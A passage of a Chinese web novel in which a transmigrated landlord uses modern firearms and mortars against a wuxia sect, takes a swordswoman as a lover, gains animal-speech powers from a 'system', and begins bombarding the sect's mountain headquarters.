厉鬼刀脸上那残忍的狞笑甚至还来不及收敛,眉心便瞬间炸开一团血雾。
那恐怖的刀气在距离江夜头顶还有三尺的地方,瞬间消散得无影无踪。
厉鬼刀眼中的神采迅速涣散,取而代之的是一种极度的茫然和不可置信。
他不明白。
为什么这根烧火棍能伤到他?
“扑通。”
尸体顺着巨大的惯性向前滑行,重重地摔在江夜脚边,激起一片尘土。
那柄鬼头大刀“哐当”一声掉在水泥地上,弹了几下,不动了。
鲜血顺着厉鬼刀眉心的血洞汩汩流出,很快便染红了灰白色的路面。
静。
死一般的寂静。
原本还在叫嚣着要把江夜抓回去当男宠的血煞门弟子们,此刻一个个像是被施了定身法,保持着冲锋的姿势僵在原地。
有人举着刀,有人正准备施展轻功,有人嘴里的脏话骂到一半卡在喉咙里。
他们瞪大了眼睛,看着自家那威震江湖的长老,像条死狗一样躺在那个地主脚下。
仅仅一击。
没有惊天动地的内力对轰,没有花哨的招式拆解。
只是一声脆响,一位长老就没了。
“这……这是什么妖法?”一个弟子牙齿打颤,手中的刀“当啷”一声掉在地上。
“长老……**?”
恐惧,如同瘟疫一般在人群中蔓延。
他们引以为傲的轻功,苦练数十年的内力,在这个一脸淡漠的年轻人面前,成了笑话。
江夜嫌弃地看了一眼脚边的尸体,往后退了半步。
随后,他抬起头,目光扫过那群已经吓破胆的血煞门弟子。
眼神冰冷,没有一丝温度。
“既然来了,就都留下吧。”
江夜挥了挥手,语气平淡,“一个不留。”
随着他话音落下。
“夜枭”队员们早已蓄势待发。
二十支栓动**同时探出。
“砰!砰!砰!砰!”
密集的**响起。
那些血煞门弟子终于反应过来,尖叫着想要逃窜。
“快跑!这人会妖术!”
“散开!快散开!”
几个反应快的,提气纵身跃起,想要施展轻功逃走。
然而,人再快,能快得过**?
“啊——!”
半空中爆出一团团血花。
那些平日里高来高去的武林高手,此刻就像是被猎人打下来的麻雀,一个个惨叫着从空中栽落。
不管是有护体真气,还是身穿软甲,在****强大的
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动能面前,众生平等。
一名弟子试图用手中的精钢长刀格挡。
“铛!”
长刀直接被**崩断,紧接着**贯穿了他的胸膛,巨大的冲击力带着他的尸体向后飞出两米远。
从第一声枪响,到最后一名血煞门弟子倒下,前后不过十息。
硝烟弥漫,血腥味在空气中散开。
江夜一方,零伤亡。
王囤抱着陌刀站在一旁,看着满地的尸体,嘴巴张得能塞进一个鸡蛋。
他虽然知道东家的火器厉害,但也没想到竟然厉害到这种程度。
那可是会飞的武林高手啊,这都能秒杀?
“还愣着干嘛?”江夜把枪扔给身后的死士,拍了拍手,“洗地。把尸体拖去后山深埋,当肥料。地上的血冲干净,别吓着孩子。”
“是……是!东家!”王囤一个激灵回过神来,连忙招呼人手干活。
柳如烟听见动静,刚跑到江家大院门口,便看见眼前的一幕。
那双平日里清冷高傲的眸子,此刻却是一片呆滞。
把她追杀得上天无路、入地无门的鬼刀长老,就这么**?
连那个年轻人的衣角都没碰到?
柳如烟低头看了看自己满是老茧的手。
她五岁练剑,冬练三九,夏练三伏,二十年如一日,才有了如今的成就。
师父说她是百年难遇的剑道天才。
她一直以此为傲。
可刚才那一幕,将她的骄傲、她的信仰,乃至她对这个世界的认知,击得粉碎。
在那根黑色的铁管面前,二十年的苦修,竟不如手指轻轻一扣。
“这是……什么力量……”
柳如烟喃喃自语,声音颤抖。
她看着那个正在指挥人冲洗地面的背影。
第265章 剑舞月下,红颜饮恨
硝烟散去,稻花村的空气中还残留着淡淡的**味。
王囤带着人手,动作麻利地清理着现场。
江夜站在台阶上,手里把玩着那把还发烫的**,目光落在不远处呆若木鸡的柳如烟身上。
这青衣女侠此刻就像一尊精致的雕塑,眼神空洞地盯着那一滩属于厉鬼刀的血迹。
“回魂了。”江夜走到她身侧,打了个响指。
柳如烟身子猛地一颤,那双清冷的眸子终于有了焦距,转向江夜时,带着如同看怪物般的惊惧。
“那是……什么暗器?”她声音干涩,指尖还在微微发抖。
“物理超度器。”江夜随口胡诌,并没有解释的意思,而是话锋一转,“柳姑娘,咱们谈笔生意。”
柳如烟一怔:“生意?”
“你也看到了,我这里不缺**的手段。”江夜指了指背着**巡逻的护卫队,“但我缺教书育人的先生,尤其是教功夫的。”
“我这几个夫人,身子骨太柔弱。孩子们也正是长身体的时候。光有火器不行,反应慢了,被人近身就是个死。”
江夜看着柳如烟,眼神诚恳:“我看你剑法底子不错,留下来,做个教**。
帮我组建一支女子护卫队,顺便教教孩子们强身健体。
作为交换,稻花村庇护你,管吃管住,管你仇家来多少死多少。”
柳如烟沉默了。
若是半个时辰前,她会觉得这男人在羞辱她。
她是名门正派的高徒,怎能给一个地主家当护院教头?
可现在,看着那满地的血煞门尸体,她心中那点傲气荡然无存。
连鬼厉都挡不住这人一指头,这稻花村,确实是这乱世中唯一的铜墙铁壁。
“好。”柳如烟深吸一口气,对着江夜抱拳,这一拜,心悦诚服,“柳如烟,见过东家。”
……
自此,稻花村的校场上,多了一道风景线。
清晨的雾气还未散去,娇叱声便已响起。
“腰要直!手要稳!慕容姑娘,你那是挥鞭子不是舞剑,别把那一套带进来!”
柳如烟手里拿着根柳条,指点着面前的一众女子。
慕容晴虽然性子野,但在武学一道上却是个痴人。
被柳如烟训了也不恼,反而嘿嘿一笑:“柳姐姐,你这剑法太细了,不如我那鞭子抽得爽利!”
“剑走轻灵,鞭走刚猛,你若能将两者融会贯通,实力还能再上一层楼。”柳如烟虽严厉,却不藏私。
一旁,白梦秋和林间雪穿着紧身的练功服,正笨拙地比划着架势。
两人本就身段丰腴,这一动起来,更是波涛汹涌。
江夜背着手晃悠过来时,正巧看到这一幕,难免有些心生荡漾。
……
入夜,凉风****。
后院的一处凉亭内,孤灯如豆。
柳如烟独自坐在石凳上,面前摆着一只粗瓷酒碗。
月光洒在她身上,将那原本就清瘦的身影拉得格外孤寂。
她端起酒碗,仰头灌下。
辛辣的村酿入喉,呛得她眼角泛红,却浇不灭心头的苦涩。
“一个人喝闷酒,容易醉。”
温润的声音响起。
柳如烟慌忙擦去眼角的湿意,回头便见江夜提着一只精致的白玉壶走了过来。
他只着一身月白色的长衫,在月色下显得格外儒雅。
“东家……”柳如烟想起身行礼。
“坐。”江夜按住她的肩膀,在她对面坐下,“尝尝这个,村酿伤喉咙,这‘凝脂玉露’才配得上今晚的月色。”
两只夜光杯摆开。
酒液倾倒而出,竟是乳白色的,散发着一股浓郁的奶香与花香,粘稠如玉露。
柳如烟迟疑了一下,端起杯子抿了一口。
入口绵柔,回甘悠长,随即便是一股暖流顺着喉咙滑入胃中,瞬间驱散了夜风的寒意。
“好酒。”柳如烟赞叹,紧绷的神经在酒精的作用下,慢慢松弛下来。
江夜也不说话,只是陪着她一杯接一杯地喝。
酒过三巡,柳如烟那张常年冷若冰霜的脸上,浮现出两抹动人的酡红,眼神也不再锐利,变
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得迷离而凄婉。
“东家可知……这世上最痛苦的是什么?”
柳如烟趴在石桌上,手指无意识地划着杯沿,声音轻得像风。
江夜转动着手中的酒杯:“人活着,钱没了?”
“噗……”柳如烟被逗笑了,这一笑,如冰雪消融,美得惊心动魄。
笑着笑着,眼泪却顺着脸颊滚落。
“是看着至亲之人在眼前一个个倒下,自己却无能为力……”
她猛地灌下一杯酒,声音变得嘶哑:“我师门上下七十二口……一夜之间,全没了。”
“那天也是这样的月色。”
“血煞门的人冲进来,见人就杀。师父为了护我突围,被厉鬼刀那老贼砍断了双腿……师姐们为了不被**,自断心脉……”
柳如烟死死攥着酒杯,指节泛白,指甲几乎嵌入肉里。
“我像条丧家之犬一样逃出来,苟活至今,就是为了报仇。
可我太弱了……若不是遇到东家,我怕是没命了。”
江夜叹了口气,伸手给她倒满酒:“所以你拼命练剑,就是为了报仇?”
“报仇?”柳如烟惨笑一声,抓起酒杯猛灌了一口,“血煞门门主已是宗师境强者,手下高手如云。我这点微末道行,在他们眼里就是个笑话。若不是遇到了东家,我恐怕早就……”
剩下的话没在出口,但江夜却心中明了。
柳如烟打了个酒嗝,摇摇晃晃地站起身。
她一把抽出腰间的软剑。
“东家,我给你舞个剑吧……师父教我的《青鸾舞》,以后……世上再无人会了。”
月光如水,洒在庭院中。
柳如烟脚尖轻点,身形翩若惊鸿。
软剑在她手中仿佛有了生命,化作一道道银色的流光。
起初,剑势轻灵欢快。
渐渐地,剑风骤变。
每一剑刺出,都带着刺破苍穹的恨意与悲凉。
青衣旋转,如同一只在烈火中悲鸣的鸾鸟,在做最后的挣扎与告别。
江夜看着这一幕,心中也不禁微微动容。
第266章 剑气纵横,宗师之境
月华如练,倾泻在凉亭的琉璃瓦上,泛起清冷的流光。
庭院中,柳如烟的身影随着最后一道剑光收敛而骤然停顿。
一瞬间,她手中的软剑垂落,整个人如同被抽去了脊梁,身形晃了两晃。
酒劲上涌,加上情绪的大起大落,让这位平日里如高岭之花般的女侠,此刻脚步虚浮。
“小心。”
江夜身形微动,没等她倒在冰冷的石板上,臂弯已先一步揽住了那盈盈一握的腰肢。
入手处,是一片温软与滚烫。
柳如烟只觉得天旋地转,待视线重新聚焦,映入眼帘的是江夜那张棱角分明的脸庞。
没有了白日里手持火器杀伐果断的冷酷,此刻的他,眼中倒映着月光,还有几分毫不掩饰的灼热。
若是换做平时,柳如烟早已冷脸退避三舍。
可今夜不同。
此刻这男人身上那股令人心安的沉稳气息,都在疯狂冲击着她筑起二十年的心防。
在这个礼崩乐坏、弱肉强食的乱世,她就像一叶在惊涛骇浪中飘摇的孤舟,时刻紧绷,不敢有一丝懈怠。
而稻花村,是港湾。
“东家……”
柳如烟呢喃一声,声音染上了几分醉意与媚意,原本清冷的眸子里水雾弥漫,仿佛要溢出来。
鬼刀**,那个让她夜夜噩梦缠身的老魔头,在这个男人面前甚至走不过一个照面。
一种前所未有的冲动,借着酒劲,瞬间冲垮了理智的堤坝。
柳如烟颤抖着伸出手,指尖触碰到江夜的脸颊,冰凉与温热交织。
下一刻,她踮起脚尖,笨拙却决绝地送上了自己的红唇。
带着酒香,带着泪水的咸味,还有一丝少女特有的馨香。
江夜眉梢微挑。
他是个正常的男人,面对如此绝色主动投怀送抱,若是还能坐怀不乱,那便不是定力好,而是身体有恙。
更何况,这种征服冰山美人的成就感,足以让任何男人血脉偾张。
“这可是你自找的。”
江夜低笑一声,不再客气,手臂猛地收紧,反客为主,加深了这个吻。
柳如烟身子一僵,随即瘫软如泥。
江夜一把将她横抱而起,大步流星地朝着卧房走去。
怀中的女子将头深深埋在他的胸口,双手死死抓着他的衣襟,指节泛白,既是紧张,也是期待。
“砰。”
房门被狠狠带上,隔绝了满院的清冷月色。
屋内红烛摇曳,将两人的影子拉得长长的,交叠在一起。
柳如烟被放在柔软的床榻上,发丝凌乱,面若桃花。
她虽然行走江湖多年,但这男女之事,却是一张白纸。
面对江夜那极具侵略性的目光,她下意识地想要蜷缩起来,却**夜的大手按住。
“别怕。”
江夜的声音有些沙哑,动作却意外的温柔。
衣衫滑落,露出大片如羊脂白玉般的肌肤,在那条狰狞的伤疤映衬下,不仅不显得丑陋,反而透着一股凄美与破碎感。
江夜的手指轻轻抚过那道伤疤,引得柳如烟一阵轻颤。
“以后,没人能再伤你。”
这句话,成了压垮骆驼的最后一根稻草。
柳如烟眼角滑落一滴清泪,彻底放开了身心。
红浪翻滚,春色无边。
……
不知过了多久,云收雨歇。
屋内的红烛已燃了大半,昏黄的灯光下,柳如烟蜷缩在江夜怀中,早已沉沉睡去。
她眼角还挂着未干的泪痕,眉头却舒展开来,那是许久未有过的安宁。
江夜低头看了她一眼,伸手替她掖好被角,动作轻柔地抽出手臂。
刚一下床,脑海中那久违的机械音便响了起来。
【叮!恭喜宿主成功收服江湖女侠柳如烟,家族核心成员+1,家族势力大幅扩张!】
江夜嘴角勾起一抹弧度。
这系统,虽迟但到,还挺懂事。
【恭喜宿主获得奖励1:古方洗髓丹丹方(改良版)!】
【注:此丹方经过系统优化,去除了稀有难寻的天材地宝,改用常见药材替代。虽药效只有原版的十分之一,但胜在可量产。长期服用,可易经洗髓,提升根骨,强化体质,延年益寿。】
【获得奖励2:宗师级剑法感悟!】
【注:包含剑道至理、
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杀伐之术、内劲运转法门。使用后,宿主将直接醍醐灌顶,瞬间掌握,融会贯通。】
江夜眼中精光大盛。
好东西!
这洗髓丹简直就是为现在的稻花村量身定做的。
无论是家里的几位娇妻,还是外面的护院队,体质都还是普通人的范畴。
若是能批量生产这洗髓丹,哪怕只是低配版,也能将护院队的整体实力拔高好几个档次。
江夜看了一眼熟睡的柳如烟,披上一件外袍,轻手轻脚地推门而出,来到了隔壁的书房。
他在太师椅上坐定,屏气凝神。
“接收感悟。”
心念一动。
轰!
刹那间,一股庞大的信息流如同决堤的洪水,疯狂涌入他的脑海。
无数精妙绝伦的剑招在他脑海中走马灯般闪过,拆解、重组、融合。
与此同时,一股暖流从丹田升起,瞬间游走四肢百骸。
他的肌肉、骨骼、经络,仿佛在这一刻被某种神秘的力量重塑。
那些原本晦涩难懂的剑道至理,此刻却变得像吃饭喝水一样简单。
仿佛他不是刚刚接触剑法,而是一位浸淫剑道百年的绝世剑客。
十分钟后。
江夜缓缓睁开双眼。
目光落在书桌三米开外的一盏烛台上。
烛火跳动,光影斑驳。
江夜心念一动,并指成剑,指尖轻轻一划。
“嗤!”
一声极其细微的破空声响起。
那跳动的烛火像是被某种无形的力量掠过,火苗瞬间熄灭,连同那一截灯芯,也被整整齐齐地切断,掉落在桌面上。
“这就是……宗师境?”
江夜看着自己的手指,眼中满是震撼。
凝气成剑,摘**花皆可**。
在这之前,他虽然拥有现代化的**库,**在手,哪怕是厉鬼刀那种半步宗师也能一枪崩了。
但那毕竟是外物。
一旦**耗尽,或者被人近身突袭,他的肉体凡胎就是最大的短板。
可现在,这块短板补齐了。
江夜握了握拳,感受着体内奔涌不息的力量,嘴角的笑意越来越浓。
第267章 添丁进口,狼王变话痨
清晨的第一缕阳光透过窗棂,洒在古色古香的雕花大床上。
柳如烟还在沉睡,那张平日里清冷孤傲的脸庞,此刻却透着几分慵懒与红润,长睫毛微微颤动,似乎正做着什么好梦。
锦被滑落一角,露出半截如藕般的玉臂,上面还残留着昨夜疯狂后的点点红梅。
江夜轻手轻脚地起身,替她掖好被角。
昨夜接收了宗师级剑道感悟,此刻他只觉得神清气爽,体内真气充盈,仿佛有使不完的力气。
推开房门,深吸一口气。
“东家早。”
几个早起的丫鬟正在洒扫庭院,见到江夜出来,纷纷行李。
江夜心情大好,正准备去校场试试身手。
“嗷呜——!!”
突然间一声凄厉且焦急的狼嚎,从后院传来。
这声音不似平日里威慑敌人的凶狠,反而带着几分不知所措的慌乱,甚至还有点……哭腔?
江夜眉头一皱。
是团子。
江夜脚下一动,身形如鬼魅般消失在原地。
宗师级的身法施展开来,不过眨眼功夫,便已掠至后院的兽栏。
眼前的景象让他有些哭笑不得。
只见那平日里威风凛凛、能一口咬断敌人喉咙的银月狼王团子,此刻正像个热锅上的蚂蚁,在狼窝门口疯狂转圈。
它一会儿把脑袋探进窝里看一眼,一会儿又退出来对着天空干嚎,两只前爪不安地刨着地。
见到江夜来了,团子像是见到了救星,猛地扑过来,咬住江夜的裤脚就往窝里拖,喉咙里发出低鸣。
“松口,裤子要被你扯烂了。”
江夜拍了一巴掌它的狼头,顺着它的力道走到窝边。
宽敞干燥的狼窝里,铺着厚厚的软草和棉絮。
母狼圆子正侧躺在上面,呼吸急促,身体时不时地剧烈抽搐一下。
它那双幽绿的眼睛里满是痛苦,看到江夜时,虚弱地哼唧了一声。
“这是要生了?”
他迅速检查了一下圆子的状态。
羊水已破,胎位还算正。
“别转了,转得人头晕。”江夜回头瞪一眼团子,“去,守在门口,别让人靠近,我去拿点热水和剪刀。”
团子虽然听不懂复杂的人话,但“守门口”这个指令还是懂的。
它立刻蹲坐在窝边,虽然还在发抖,但眼神却变得警惕起来。
这时,一阵急促的脚步声传来。
“夫君!出什么事了?”
白梦秋跑得最快,气喘吁吁地冲进后院,手里还提着一根烧火棍。
身后跟着一脸担忧的白梦夏和林间雪。
“没事,把棍子放下。”江夜摆摆手,“是圆子要生了。”
“啊?要生了?”
众女一听,脸上的紧张瞬间化作了惊喜。
女人对这种新生命的诞生总是毫无抵抗力。
白梦秋把烧火棍一扔,凑到窝边:“哎呀,圆子看起来好难受,我们要不要帮忙?”
“雪儿,你去厨房端盆热水来,再拿几块干净的棉布。”江夜吩咐道。
“好,我这就去。”
林间雪和白梦夏连忙转身去准备。
慕容晴好奇地探头看着:“这狼崽子生下来,是不是也跟团子一样威风?”
“那是自然,龙生龙凤生凤,老鼠儿子会打洞。”江夜挽起袖子,蹲在圆子身边,轻轻抚摸着它的脊背,输送了一丝温和的真气进去,帮它缓解疼痛。
圆子的呼吸渐渐平稳了一些,感激地舔了舔江夜的手背。
接下来的半个时辰,小小的狼窝成了整个江府最忙碌的地方。
团子被赶到了三米开外,急得直挠墙。
终于。
“出来了!第一个出来了!”白梦秋惊喜地叫道。
一只湿漉漉的小肉团滑了出来。
圆子立刻回头,温柔地舔舐着小家伙身上的胎膜。
紧接着是第二只,第三只……
直到日上三竿,圆子才彻底疲惫地瘫软在草堆上。
五只小狼崽,正在它怀里拱来拱去,发出细微的“嘤嘤”声。
江夜擦了擦额头的汗,看着这五个小家伙,眼中闪过一丝讶异。
这基因,绝了。
五只小狼崽,竟没有一只是杂色的。
其中三只通体银白,毛发尚未干透便已隐隐透着光泽,最奇特的是它们额头处都有一撮淡淡的金毛,像是某种王者的印记。
另外两只则是通体乌黑,唯有四只爪子雪白如玉,像是踩在雪地里一般,还没睁眼,
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那股子机灵劲儿就透出来了。
“踏雪寻梅……好兆头。”江夜赞叹道。
众女更是心都化了。
“夫君,这只黑的好可爱,我要养这只!”白梦秋指着其中一只黑狼崽,眼睛都在放光。
“这只白的像团子,以后肯定威风。”慕容晴也看中了其中一只。
就在这时,江夜脑海中突然响起那熟悉的机械音。
【叮!恭喜宿主宠物诞下子嗣!家族守护兽群体扩大!】
【检测到子嗣血脉返祖,潜力巨大!】
【获得奖励:高级兽语精通(可与万兽无障碍交流)!】
江夜一愣。
兽语精通?
这系统给的奖励倒是越来越花哨了。
以前虽然也能大概听到团子的意思,但那得特意使用意念,而且只能听懂团子的兽语,如今可以和万**流了,意外之喜。
不过这无障碍交流,是个什么章程?
还没等他反应过来,耳边突然传来一阵嘈杂的声音。
“老婆!老婆你没事吧!疼不疼啊老婆!”
“吓死狼了!刚才那个血哗啦啦的,吓得我腿都软了!”
“哎呀,这几个小兔崽子怎么长得这么丑?没**的耗子似的。”
“不过,我有后了!我是爹了!”
江夜嘴角狠狠抽搐了一下。
他的视线一转,落在团子身上,他正一边舔着圆子的脸,一边摇着尾巴。
那声音,听在江夜耳朵里,被自动翻译成了这种碎碎念的大白话。
“老婆你辛苦了,想吃啥?我去给你抓鸡!隔壁王大娘家的鸡看起来挺肥的,上次我就想偷了,怕主人打我没敢动……”
江夜脸一黑。
这货居然一直惦记着偷村民的鸡?
“团子。”江夜冷冷地喊了一声。
正沉浸在初为人父喜悦中的团子浑身一僵,下意识地回头。
“咋了主人?”
“干啥?没看我正忙着疼老婆吗?别耽误我尽夫道。”
江夜深吸一口气,忍住想踹它一脚的冲动。
“你要是敢动王大娘家的鸡,我就把你皮扒了做成围脖。”江夜用一种极其核善的语气说道。
团子瞬间瞪大了狼眼,一脸惊恐地看着江夜。
第268章 狼群情报网,神机营换装
半月后,稻花村后院。
原本巴掌大的五只小狼崽,如今已有了土狗大小。
这长势若是传出去,非得被当成妖孽烧了不可。
但在江夜眼里,这不过是稀释后的灵泉水拌肉糜的正常功效。
三只白狼崽继承了团子的优良基因,**色如雪,额头那撮金毛愈发耀眼。
另外两只黑狼崽更是神俊,四爪踏雪,眼神比父辈多了几分神俊,少了几分二气。
“嗷呜——!”
一声稚嫩却透着凶悍的狼嚎响起。
最大的那只白狼崽子,正把试图偷吃肉干的一只老母鸡按在地上摩擦,喉咙里发出威胁的低吼。
“松开。”
江夜路过,随口喊了一声。
小白狼立刻松嘴,摇着尾巴凑到江夜脚边,熟练地翻出肚皮求摸摸。
“这谄媚劲儿,跟你爹一模一样。”江夜笑骂了一句,踢了踢旁边正四仰八叉晒太阳的团子,“起来,干活了。”
团子耳朵抖了抖,睁开一只眼,脑海里的声音直接传进江夜耳朵里。
“主人,再睡五分钟……昨晚圆子非让我给它抓跳蚤,累死狼了,腰疼。”
江夜嘴角一抽。
兽语精通后,这货在他面前彻底没了隐私。
“后山集合,带上你全家。有大生意。”江夜没理会它的抱怨,转身往后山走去,“表现好,今晚加餐,整只烤全羊。”
听到烤全羊,团子一个鲤鱼打挺翻身而起,腰也不疼了,腿也不酸了,冲着窝里还没睡醒的圆子,和院子里的崽子们就是一顿乱吼。
“孩儿们!抄家伙!主人要发福利了!”
……
稻花村后山,密林深处。
江夜负手而立,站在一块巨石之上。
团子一家整整齐齐地蹲在他脚边,五只小狼崽虽然不明所以,但感受到父亲严肃的气场,也都乖乖坐好。
“叫人吧。”江夜淡淡道。
团子点了点头,缓步走到巨石边缘。
它深吸一口气,胸腔剧烈起伏,随后仰天长啸。
“嗷呜————!!”
这声狼嚎苍凉、悠远,带着属于王者的威压,瞬间穿透了层层密林,在山谷间回荡。
片刻后。
悉悉索索的声音从四面八方传来。
灌木丛晃动,一双双幽绿色的眼睛在阴影中亮起。
十头,五十头,一百头……
足足三百多头野狼,从密林深处钻出。
它们体型各异,有的带伤,有的瘦骨嶙峋,但此刻,它们都匍匐在地,对着巨石上的银白身影低下头颅。
这些日子,江夜特意让团子在后山圈地,又在水源里掺了微量灵泉水。
对于野兽来说,那种源自生命层次的诱惑力是致命的。
如今,这方圆百里的狼群,已尽归团子麾下。
“告诉它们,从今天起,你是王,圆子是后。”江夜用心念传达指令。
团子昂首挺胸,冲着狼群低吼几声,甚至还骚包地抖了抖那一身银亮顺滑的皮**。
台下的狼群发出一阵顺从的呜咽声。
“很好。”
江夜目光扫过这支野兽大军,眼中闪过一丝精芒。
在这个没有监控摄像头、没有卫星定位的时代,这些野兽就是最好的眼线。
“听好了。”
江夜开启兽语模式,一种奇异的波动从他口中发出,落在狼群耳中,便是至高无上的神谕。
“以稻花村为中心,向外五十里。”
“重点监控青石县与长林县的交界处,尤其是通往血煞门方向的山道。”
“任何携带兵器、成群结队的人类,只要踏入领地,立刻回报。”
“遇到落单的探子,杀无赦。遇到大股敌人,长啸示警。”
随着江夜的指令下达,狼群中几头体型硕大的头狼率先站起,眼中凶光闪烁,显然是听懂了。
“去吧,散入丛林。”
江夜一挥手。
狼群如同一股灰色的洪流,瞬间分散,无声无息地融入了莽莽群山之中。
团子看着手下们离开,转头看向江夜:“主人,那我呢?”
“你?”江夜瞥了它一眼,“你在家带孩子,顺便当总指挥。要是有漏网之鱼摸进村子,你就负责咬断他们的喉咙。”
团子:“得令!这活儿我熟!”
……
又是半个月时间,晃眼即过。
狼群情报网如同水银泻地,迅速铺开。
每天都有各种消息通过团子传回江夜耳中。
哪条路上来了商队,哪个山头多了几个鬼鬼祟祟的流民,江夜都一清二楚。
而稻花村内部,更是发生了翻天覆地的变化。
校场之上,杀气腾腾。
护院全部换装。
手里拿的,全是清一色崭新的56式**。
**在阳光下泛着冷冽的金属光泽,刺刀折叠在**下方,随时准备饮血。
而在队伍的最前方,王囤正爱不释手地抚摸着一根粗大的绿色铁管子。
那是63式60毫米迫击炮。
足足十门,一字排开。
旁边还架着四挺仿制的马克沁重**,虽然笨重,但这玩意儿在这个时代,就是收割生
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命的死神镰刀。
“这就是东家说的新家伙?”
王囤咽了口唾沫,感觉手都在抖。
前几天试射的时候,他亲眼看到那一发炮弹打出去,把后山一块磨盘大的石头炸成了粉末。
这要是打在人堆里……
王囤不敢想,只觉得头皮发麻。
“都愣着干什么?擦枪!”王囤吼了一声,“东家说了,枪就是咱们的命!”
“是!”
吼声震天。
江夜站在高台上,满意地点了点头。
“王囤。”江夜开口。
“东家!”王囤立刻小跑过来。
“挑三十个枪法最好的,带上两门炮,两挺**。”江夜整理了一下袖口,“集合。”
王囤一愣,随即眼中爆发出狂热的光芒:“东家,咱们是要去打谁?”
江夜嘴角勾起一抹冷笑,“去灭个门。”
……
自从那天晚上之后,柳如烟身上的清冷气息淡了许多,眉宇间多了几分女人的妩媚。
此刻,她正在后院擦拭软剑。
“铮——”
软剑轻鸣,寒光凛冽。
“剑不错,可惜今天用不上。”
一只大手伸过来,按住了她的手腕。
柳如烟抬头,看到江夜正笑吟吟地看着她。
柳如烟有些疑惑,“什么意思?”
江夜顺势将她拉入怀中,手指轻轻摩挲着她掌心的老茧,“我说过,稻花村庇护你,你的仇,就是我的仇。”
柳如烟身子一僵,呼吸有些急促:“你想做什么……”
“血煞门蹦跶得太久了。”江夜语气平淡,“我这人小心眼,他们既然敢派人来杀我的人,那我就得回礼。”
“可是……”柳如烟眼中闪过一丝担忧,“血煞门总坛地势险要,易守难攻,而且门主血魔老祖可是强者宗师…”
她虽然见识过江夜火器的厉害,但那是防守。
若是主动进攻血煞门老巢,面对成百上千的亡命之徒,还有宗师坐镇,风险太大了。
江夜轻笑一声,手指在她鼻尖刮了一下。
“在我眼里,众生平等。除非他能扛得住迫击炮洗地。”
看着男人脸上那自信的笑容,柳如烟的心脏剧烈跳动起来。
这些时日来,她做梦都想杀回血煞门,为师门报仇。
但理智告诉她,这需要十年,甚至二十年。
可现在,这个男人告诉她,就在今天。
“换身衣服。”江夜松开她。
柳如烟眼眶微红,没有说那些感激涕零的废话。
她只是重重地点了点头。
第269章 炮火洗地,众生平等
盘龙山,山势如龙盘虎踞,险峻异常。
唯一的上山路是一条仅容两马并行的小道,两侧怪石嶙峋,易守难攻。
血煞门总坛便坐落在这龙头之上。
山脚下,尘土飞扬。
整齐划一的脚步声,像是沉闷的鼓点,每一下都踩在人的心坎上。
五百神机营战士手持56式**,腰间挂着**,面容肃穆,杀气内敛。
队伍中央,几名壮汉抬着一顶特制的软轿。
江夜懒洋洋地靠在椅背上。
柳如烟一身青色劲装,背负长剑,走在轿旁。
“这就是你说的攻山?”柳如烟目光扫过四周险要的地形,“此处若有埋伏,滚木礌石一落,我们连躲的地方都没有。”
“埋伏?”江夜轻笑一声,从铁皮箱里摸出一罐冰镇可乐,“前提是他们得有命扔石头。”
此时,盘龙山顶,血煞门总坛寨墙之上。
一名身穿赤红长袍的老者负手而立,满头红发随风狂舞,正是血煞门门主,宗师境强者——血魔老祖。
他居高临下,俯瞰着山脚下那支正在接近的队伍,那张沟壑纵横的老脸先是凝重,随即化为极尽的轻蔑。
“呵。”
一声冷哼从鼻腔中发出,带着宗师强者的傲慢。
“老夫还当是哪路豪强,调集了千军万马要来攻我盘龙山,闹了半天,就这么几百个扛着烧火棍的泥腿子?”
他身侧,一名尖嘴猴腮的长老立马凑趣道:“门主,您说错了,我看他们不是来攻山的,是来投奔您的!”
另一名身材肥胖的长老抚掌大笑:“没错没错!肯定是仰慕门主神威,想上山给您老人家烧火做饭,所以才自带了烧火棍嘛!”
哄笑声在山顶肆无忌惮地传开,充满了快活的空气。
血煞门弟子们一个个探出头,对着山下指指点点,神情戏谑。
在他们看来,这简直是本年度最好笑的笑话。
只有一名看起来较为精明的长老,眉头微锁,指着山下道:“门主,情况似乎有些不对。您看他们的队列,整齐划一,步伐沉稳,不像是乌合之众。还有中间那顶轿子……”
血魔老祖闻言,仔细往山下看去。
他看到了那顶由几个壮汉抬着的软轿,看到了轿旁那个身段窈窕、背负长剑的女子。
“柳如烟?”血魔老祖认出了她,脸上的嘲弄更甚,“原来是那个小丫头,找了些帮手就敢回来送死?不知天高地厚!”
他根本没把那几百人放在眼里,在他宗师的威压下,千军万马亦可闯得,何况区区几百人?
血魔老祖向前一步,运足内力,声音如洪钟大吕,滚滚而下。
“山下的娃娃听着!”
“老夫念你年幼无知,现在滚下轿子,带着那姓柳的丫头,一步一叩首地上山请罪!老夫心情好了,或许能收你们做个看门的奴才!”
“否则,今日这盘龙山,便是尔等的葬身之地!”
狂傲的声音在山谷间回荡不休,充满了不容置疑的威严。
山脚下。
江夜掏了掏耳朵,一脸嫌弃:“这老东西嗓门挺大,吵得我脑仁疼。”
江夜眼皮都懒得抬一下,只是对着前方的王囤轻轻摆了摆手。
“开炮。”
王囤眼中精光爆射,他猛地挥动令旗,吼声如雷:“各炮位注意!目标山顶寨墙!三发急速射!放!”
十门早已调整好诸元的60迫击炮,炮口斜指苍穹。
“通!通!通!”
沉闷的出膛声接连响起,十枚黑黝黝的炮弹划破长空,带着死神的呼啸,在空中划出一道道死亡抛物线。
山顶上,血魔老祖的笑声还未落下。
他眉头微皱,看着空中飞来的黑
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点,心中升起一丝疑惑:“那是什么暗器?竟能飞这么高?”
一名长老想要表现,飞身而起,手中长刀斩向那落下的黑点:“雕虫小技,看我破……”
话音未落。
炮弹触碰刀锋。
“轰——!!!”
一团橘红色的火球在半空中炸开。
那名长老连惨叫都没来得及发出,瞬间被撕成了漫天血雨,碎肉伴着断刀四散飞溅。
紧接着,是第二发,第三发……
“轰轰轰轰轰!”
连绵不绝的**声瞬间淹没了盘龙山顶。
碎石崩飞,烟尘滚滚。
血魔老祖只觉得一股排山倒海的气浪扑面而来,护体罡气瞬间破碎,整个人像个破麻袋一样被掀飞出去,重重砸在地上。
“噗!”
一口鲜血喷出。
“这……这是什么妖法?!”他艰难的从地上爬起来,瞪大双眼,满脸惊骇。
就在这时,王囤再次下令。
“延伸射击!覆盖寨内!”
炮火不再局限于寨墙,而向着寨子内部的营房、演武场延伸。
此起彼伏的惨叫声响彻云霄。
那些平日里自诩武功高强、**如麻的魔教徒,此刻在从天而降的炮火面前,毫无抵抗之力。
有人试图用轻功逃窜,被气浪拍在墙上,有人举着盾牌硬抗,连人带盾被炸成碎片。
断肢横飞,哀嚎遍野。
柳如烟早已看傻了眼。
